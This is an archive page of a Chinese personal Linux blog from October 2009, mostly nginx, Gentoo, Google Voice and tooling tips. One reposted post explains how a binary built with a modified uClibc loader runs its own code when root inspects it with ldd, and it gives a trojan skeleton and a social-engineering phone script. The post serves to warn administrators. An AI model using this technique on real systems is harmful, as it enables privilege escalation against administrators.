I am LAZY bones? AN ancient AND boring SITE

2009年 10月 的归档

nginx 禁止某个 User_Agent 的方法

由于ubuntu 9.10 的发布,SRT ubuntu源最近的流量可是飙得厉害~ 昨天一天的平均流量是 9.6MB/s ,算算一天就有800GB了。。。
更可恶的是,一分析日志,有一个“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)”的User_Agent(据说是迅雷的),很是夸张,居然占了八成的流量,看我下面的日志分析:

$ tail -n 1000 /var/log/nginx/mirror.access.log | awk -F\" '{A[$(NF-1)]++}END{for(k in A)print A[k],k}' | sort -n | tail
3 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
4 SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)
5 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
6 Ubuntu APT-HTTP/1.3 (0.7.20.2ubuntu6)
16 Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
18 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
39 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
41 Ubuntu APT-HTTP/1.3 (0.7.23.1ubuntu2)
94 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; )
767 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

于是,我不得不想办法禁掉了这个UA,不然也太影响访问了,最近有很多用户都出现访问不畅的状况了。但是网上这方面的资料还真不太好找,于是请教ubuntu-cn的一叶老大,终于找到办法了:
建立一个 /etc/nginx/agent.conf 内容如下(需要注意的是,空格和括弧需要使用“\”进行转义,这也是我摸索了好久得出的结论):

if ($http_user_agent ~ "Mozilla/4.0\ \(compatible;\ MSIE\ 6.0;\ Windows\ NT\ 5.1;\ SV1;\ .NET\ CLR\ 1.1.4322;\ .NET\ CLR\ 2.0.50727\)") { return 404; }

然后在这个site的配置里include这个conf文件,比如 /etc/nginx/sites-enabled/ubuntu-mirror 里添加如下一行: include /etc/nginx/agent.conf;

可怕的ubuntu大版本升级

ubuntu 9.10可算是发布了,其实从昨天一大早开始,就已经有正式版的下载地址了。
ubuntu的大版本升级应该是可喜的,因为这标志着这个发行版正在不断地进步。用ubuntu的人越来越多了,这也是可喜的。但是这两者加起来,有时候也是可怕的,尤其是对那些源服务器来说。。
拿我的那个ubuntn源来说,由于我没有进行任何的限速/限IP等的设置,从昨天开始,压力就很大了,出现访问时断时续的状况了,今天去服务器里一看,原来是 /var/log/nginx 下面有个 error.log 已经有6.2个G了,把整个/分区的空间都给撑满了。打开一看,原来全都是

2009/10/30 09:10:30 [alert] 18365#0: accept() failed (24: Too many open files) while accepting new connection on 0.0.0.0:80

这样的错误日志,每秒钟居然有1w条左右。这个错误很明显是由于nginx进程打开的文件数太多了,查了一下google,发现可以在 /etc/init.d/nginx 的start那里,加一行

ulimit -n 8192

然后重新启动一下nginx服务,来解决这个问题,也就是把单一进程打开文件的现在从1024调成了8192。这样可以从一个侧面看出来服务器的负担有多重了。
在进行了这个修改以后,服务器目前暂时运行比较稳定了,每秒的出口流量已经到了100M带宽的极限了,不知道能不能撑过今天~
PS: 再次呼吁大家大版本升级要尽量避开高峰期,晚个3~4天升级,可能你下载的时候也会快很多,呵呵。

Google voice 注册成功

其实,早在今年的8月7号,我就已经收到过一次google vioce的邀请了。当时也不知道是啥玩意,点去注册的时候,发现说要美国IP和一个美国的号码什么什么的,就一直丢那里没去注册,然后过期了。搞的近来google wave流行起来的时候,我老以为自己那次收到的就是wave的邀请,结果在邮箱里搜,死活都搜不到,呵呵。
然后,不知道为什么,前天google再次给我发来voice的邀请,我就决定花点时间去搞定这个voice了~
大致的方法可以在谷奥的这个文章里找到。
美国IP这个对我来说很容易,本blog就是在美国的空间,用ssh隧道代理一下,马上就成了合法IP了。
美国电话号码,用的也是这个virtualphoneline提供的免费一个月的号码,这个服务可以把所有呼到这个美国电话号码的呼叫转到gtlak/msn/固话/sip等等。。。但是linux下的gtalk和msn都不支持语音的(准确的说是我的还不支持,我知道有某些客户端已经可以支持了),skype又是qt的不想装(再说也懒得再去申请号了),于是就用asterisk在本地架了一个SIP服务端,用gnome自带的ekiga连上自己的SIP服务,随便给分配一个号码,关联到virtualphoneline的号码里,就可以搞定voice的电话号码认证了。
下面,说说这个google voice的功能:
拨打任何美国的电话免费,这点不错啊~
不过呼叫过程是这样的:在voice的页面上填上被叫号码,点“connect”以后,voice是先去呼通之前关联的那个号码(也就是virtualphoneline提供的那个号码),这时候你的ekiga应该有呼入了,接起来;然后voice再去呼你填的那个被叫号码;最后再进行桥接,主被叫实现通话。
语音信箱:人家拨打你的voice号码,可以给你留言,留言可以在web界面点击播放。这个功能我没有试过,国际长途太贵了哈。。
也可以免费往手机发短信,这个就可以直接在web完成了,试过发送英文内容给中国移动的手机,可以成功,但是发中文会提示:“Error: this message was not successfully delivered.”。而且也收不到用手机回复的短信:移动提示发成功了,但是在voice界面里看不到,不知道1块钱的国际短信费有没有扣掉。。。
PS: virtualphoneline还蛮强大的,居然实时录音,并提供录音文件的下载(wav格式),呵呵。

[转] ldd 的一个安全问题

本文的英文原文来自这里,作者:Peteris Krumins;中文译文转自酷壳,译者:陈皓

我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的,这就是这个命令的用处。可是,这个命令比你想像的要危险得多,也许很多黑客通过ldd的安全问题来攻击你的服务器。其实,ldd的安全问题存在很长的时间了,但居然没有被官方文档所记录来下,这听上去更加难以理解了。怎么?是不是听起来有点不可思议?下面,让我为你细细道来。

首先,我们先来了解一下,我们怎么来使用ldd的,请你看一下下面的几个命令:
(1)

$ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

(2)

$ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

(3)

$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

第(1)个命令,我们运行了 `ldd` 于 `/bin/grep`。我们可以看到命令的输出是我们想要的,那就是 `/bin/grep` 所依赖的动态链接库。
第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量,然后就好像在运行命令 `/bin/grep` (但其实并不是)。 其运行结果和ldd的输出是一样的!
第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ,然后调用了动态链接库 `ld-linux.so` 并把 `/bin/grep` 作为参数传给它。我们发现,其输出结果还是和前面两个一样的。

具体发生了什么?

对于第二个和第三个命令来说,好像是对 `ldd` 的一个包装或是一个隐式调用。对于第二个和第三个命令来说, `/bin/grep` 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了,那么它就不会去执行那个可运行的程序,而去输出这个可执行程序所依赖的动态链接库 (在BSD 系统上的`ldd` 是一个C 程序)。
如果你使用的是Linux,那么,你可以去看看 `ldd` 程序,你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码,你会发现,第二个命令和第三个命令的差别就在于 `ld-linux.so` 装载器是否可以被`ldd`所装载,如果不能,那就是第二个命令,如果而的话,那就是第三个命令。
所以,如果我们可以让`ld-linux.so` 装载器失效的话,或是让别的装载器来取代这个系统默认的动态链接库的话,那么我们就可以让 `ldd`来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量,而是直接运行程序。
例如,你可以创建一个具有恶意的程序,如: ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人(比如超级用户root) 运行了 `ldd /home/you/app/bin/exec` ,于是,他就玩完了。因为,那并不会列出所依赖的动态链接库,而是,直接执行你的那个恶意程序,这相当于,那个用户给了你他的授权。

编译一个新的装载器

下载 uClibc C库。这是一个相当漂亮的代码,并且可以非常容易地修改一下源代码,使其忽略 LD_TRACE_LOADED_OBJECTS 检查。

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

解压这个包,并执行 `make menuconfig`,选项你的平台架构(比如:i386),剩下的事情保持不变。

$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
$ rm -rf uClibc-0.9.30.1.tar.bz2
$ cd uClibc-0.9.30.1
$ make menuconfig

编辑 .config 并设置目标安装目录:到 `/home/you/app/uclibc`,

RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

改成

RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

(bones7456注: 其实上面这一步也可以在make menuconfig的界面里修改Library Installation Options。)
现在你需要改动一下其源代码,让其忽略LD_TRACE_LOADED_OBJECTS 环境变量的检查。下面是个这修改的diff,你需要修改的是 `ldso/ldso/ldso.c` 文件。你可把下面的这个diff存成一个叫file的文件,然后运行这个命令:`patch -p0 < file`。如果你不这样做的话,那么,我们的黑客程序就无法工作,而我们的这个装载器还是会认为 `ldd` 想列出动态链接库的文件列表。

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
         }  #endif
+    /*
         if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                 trace_loaded_objects++;
         }
+    */
   #ifndef __LDSO_LDD_SUPPORT__
         if (trace_loaded_objects) {

下面让我们来编译并安装它。

$ make
$ make install

(bones7456注:在我的gentoo系统里,make isntall的时候会出点小错,将extra/scripts/unifdef.c里所有的getline改成getline_就可以通过了。)

于是,我们的 uClibc 装载器就被安装了,并且libc 库指向了 /home/you/app/uclibc. 就这么简单,现在,我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。

小试牛刀

首先,先让我们来创建一个测试程序,这人程序也就是输出些自己的东西,这样可以让我们看到我们的程序被执行了。我们把这个程序放在 `app/bin/`下,叫“myapp.c”,下面是源代码

#include <stdio.h>
#include <stdlib.h>
 
int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your things are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

这是一个很简单的代码了,这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了,如果是,那么恶意程序执行,如果没有,那么程序什么也不发生。

下面是编译程序的命令,大家可以看到,我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。

$ L=/home/you/app/uclibc
$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

下面是GCC的各个参数的解释:
* -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一个新的装载器。
* -Wl,-rpath-link,$L/lib — 指定一个首要的动态装载器所在的目录,这个目录用于查找动态库。
* -nostdlib — 不使用系统标准库。
* myapp.c -o myapp — 编译myapp.c 成可执行文件 myapp,
* $L/usr/lib/crt*.o — 静态链接runtime 代码
* -L$L/usr/lib/ — libc 的目录(静态链接)
* -lc — C 库

现在让我们来运行一下我们的 `myapp` (没有ldd,一切正常)

app/bin$ ./myapp
Nothing.

LD_TRACE_LOADED_OBJECTS 没有设置,所以输出 “Nothing.” 。
现在,让我们来使用 `ldd` 来看看这个程序的最大的影响力,让我们以root身份来干这个事。

$ su
Password:
# ldd ./myapp
All your things are belong to me.

哈哈,我们可以看到,ldd触发了我们的恶意代码。于是,我们偷了整个系统!

邪恶的程序

下面这个例子更为实际一些,如果没有`ldd` ,那程序程序会报错 “error while loading shared libraries” ,这个错误信息会引诱你去去使用 `ldd` 去做检查,如果你是root的话,那么就整个系统就玩完了。而当你可以了 `ldd` 后,它会在干完坏事后,模仿正确的`ldd`的输出,告诉你 `libat.so.0` 不存在。
下面的代码仅仅是向你展示了一下整个想法,代码还需加工和改善。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.
 
I haven't implemented anything malicious but have written down some ideas
of what could be done.
 
This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/
 
void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}
 
void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");
 
        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}
 
int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }
 
    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

邪恶的电话

事实上来说,上面的那段程序可以影响更具破坏性,因为大多数的系统管理员可能并不知道不能使用 `ldd` 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话,让我们看看我们的程序是如何更快地获得系统管理员的权限的。

系统管理员的电话狂响……
系统管理员: “同志你好,我是系统管理员,有什么可以帮你的?”
黑客:“管理员同志你好。我有一个程序不能运行,总是报错,错误我也看不懂,你能不能帮我看看?”
系统管理员:“没问题,你的那个程序在哪里?”
黑客: “在我的home目录下,/home/you/app/bin/myapp”。
系统管理员:“ OK,等一些”,黑客在电话这头可以听到一些键盘的敲击声。
系统管理员:“好像是动态链接库的问题,你能告诉我你的程序具体需要什么样的动态链接库吗?”
黑客说: “谢谢,应该没有别的嘛。”
系统管理员:“嗯,查到了,说是没有了 `libat.so.0`这是你自己的动态链接库吗?”
黑客说:“哦,好像是的,你等一下,我看看……” 黑客在那头露出了邪恶的笑,并且,讯速地输入了下面的命令:
`mv ~/.hidden/working_app ~/app/bin/myapp`
`mv ~/.hidden/libat.so.0 ~/app/bin/`
黑客说:“哦,对了,的确是我的不对,我忘了把这个链接库拷过来了,现在应该可以了,谢谢你啊,真是不好意思,麻烦你了”
系统管理员: “没事就行了,下次注意啊!”(然后系统管理心里暗骂,TMD,又一个白痴用户!……)

教训一:千万不要使用 `ldd` 去测试你不知道的文件!
教训二:千万不要相信陌生人!

Gentoo换了profile以后,鼠标键盘不能动的解决办法

Gentoo 10.0 的profile出来已经蛮久了,但是我一直都没换,直到昨天才设置成了 default/linux/x86/10.0/desktop ,结果一大堆包需要重新编译了(呃。。好吧,其实我本来就有好几天没更新系统了。。)。
编译完重启就发现问题了:启动到gdm以后,鼠标键盘都动不了了,按什么键都无效,输不了用户名了,包括ctrl+alt+F1都不管用了,但是触摸板却是有效的。
第一个想到的 qlist -I -C x11-drivers/ 里面的几个包重新编译一下,发现无效;然后看elogv,发现hal说要把xorg.conf里的input相关的都删掉,试了也无效。
最后的解决办法是:在 /etc/make.conf 的 INPUT_DEVICES= 里加上 evdev ,然后安装 x11-drivers/xf86-input-evdev 这个包。

欧拉工程

咳咳,我做为非正常网民网瘾戒除中心砖家,正式给介绍介绍一下这个欧拉工程
呃。。。还是请我们的校长──lerosua──来介绍吧~下面引自这篇博文

欧拉工程是一个用编程来解决一连串数学问题的项目。发现它对训练数学及编程挺有作用的。网上也有许多人做上面的题目并发布自己的算法。
上面共有261题,分几个等级,一级比一级难。我看了第261题的提交,目前只是22个。完成它绝对是时间及精力及耐力及智力的较量。
于是本人决定将此作为一个项目来做,逐步进阶。
骨头与xiooli同学也并肩作战。
我们解决的问题的源码将会发布在以下svn中。欢迎审阅.
http://nrciz.googlecode.com/svn/trunk/projecteuler

其实,之前(几个月前吧)我就已经做过几题了。可以说,正是因为欧拉工程,我才喜欢上python的,当我看到第一题用一句

sum([n for n in range(1000) if n%3==0 or n%5==0])

就完美地搞定了,是多么地流畅,多么地自然,我就喜欢上了这门语言~
我们现在已经在逐步把很多题目翻译成中文了,所以,大家有空就去这里看看吧~最好是大家都能参与到其中来哦~

watch

watch命令包含在procps软件包内,procps是linux下一个很有用的基础包,里面包含了ps、pgrep、pkill、top、uptime、w等重要又常用的命令。
watch的具体功能就是定时执行后面跟的命令,并不间断地把输出命令的标准输出。
例如:

watch -d -n 1 free

就可以监视内存使用率的状况了,原理就是每秒调用一次free,并集中显示结果。其中,-d表示高亮不同的地方,-n 1表示每1秒执行一次(默认是2秒)。此命令需要用Ctrl+C来结束。
另一个例子:

watch -d "ls -l /var/log/ | grep -v gz$"

可以监视/var/log下的日志的变化情况。
另外:如man页所示,执行下面三个命令来体会单引号和双引号的区别

watch echo $$
watch echo '$$'
watch echo "'"'$$'"'"

灵活运用此命令,可以让你的CLI增色很多哦。

gentoo的ACCEPT_LICENSE

最近 sudo emerge -avuDN @system @world 的时候,老是会有这样的提示:

!!! The following installed packages are masked:
- app-cdr/nero-4.0.0.0 (masked by: Nero-EULA-US license(s))
A copy of the 'Nero-EULA-US' license is located at '/usr/portage/licenses/Nero-EULA-US'.
 
- app-emulation/virtualbox-bin-3.0.8 (masked by: PUEL license(s))
A copy of the 'PUEL' license is located at '/usr/portage/licenses/PUEL'.

也不知道哪个版本的portage引入的这个机制,不过看文档倒是3年前就有的。
不过,如果你像我一样是个人用户,并不是很在意版权问题的话(其实也没啥问题,呵呵),其实只需要在 /etc/make.conf 里加一行:

ACCEPT_LICENSE="*"

就可以解决这个烦人的提示了。
PS: 这个东西现在貌似还不是很完善,因为目前都还没有在 emerge –info 里体现出来。。。

这就是 chrome OS?

这里看到有人说这个可能就是是chrome OS的开发版,于是下载下来跑了跑,个人感觉除了文件大小(解压后500多M)比较像OS以外,更多的还是像一个浏览器。。。
看我的截图:
chrome_normal
这个模式下,很像是一个普通的chrome浏览器,但是也有些不寻常的地方,比如右上角依次显示了 系统时间、网络状态(截图中的小x就是,点上去显示No networks are avaliable)、电池状态(点上去提示了错误的信息,如下图,bug。。。) 等,这些又有点像是一个OS的特征。
chrome_err
另外点击左上角的小logo,会出现一个全屏的能挡住gnome的panel窗口,但是却只有如下的显示:
chrome_full
猜想以后这个可能就是所有操作的入口?需要连接google的服务器才能显示正确的内容,而这个服务端目前还未就绪?这么说来这个系统不是必须联网才能进行其他操作了?
另外就是怎么把系统单独引导起来呢,难道这个500多M的文件以后还会是一个像vmlinuz一样的可引导文件?总之现在情况还不是很明了,我们拭目以待吧。
PS:再贴一下ldd的结果:

点击查看全文 »

x11-drivers/xf86-video-radeonhd-1.3.0 会引起黑屏

今天对我的gentoo进行了解常规的uDN升级,但是等我晚上到家打开电脑就不能正常启动了,字符界面的信息输出完以后到了X就直接黑屏了,看了近期的升级日志,发现x11-drivers/xf86-video-radeonhd-1.3.0这个升级非常可疑,于是暂时mask掉,退回1.2.5版本,果然就好了。
我的显卡是x1700,用的是2.6.31内核里面的drm模块。有遇到相同问题的gentoo用户吗?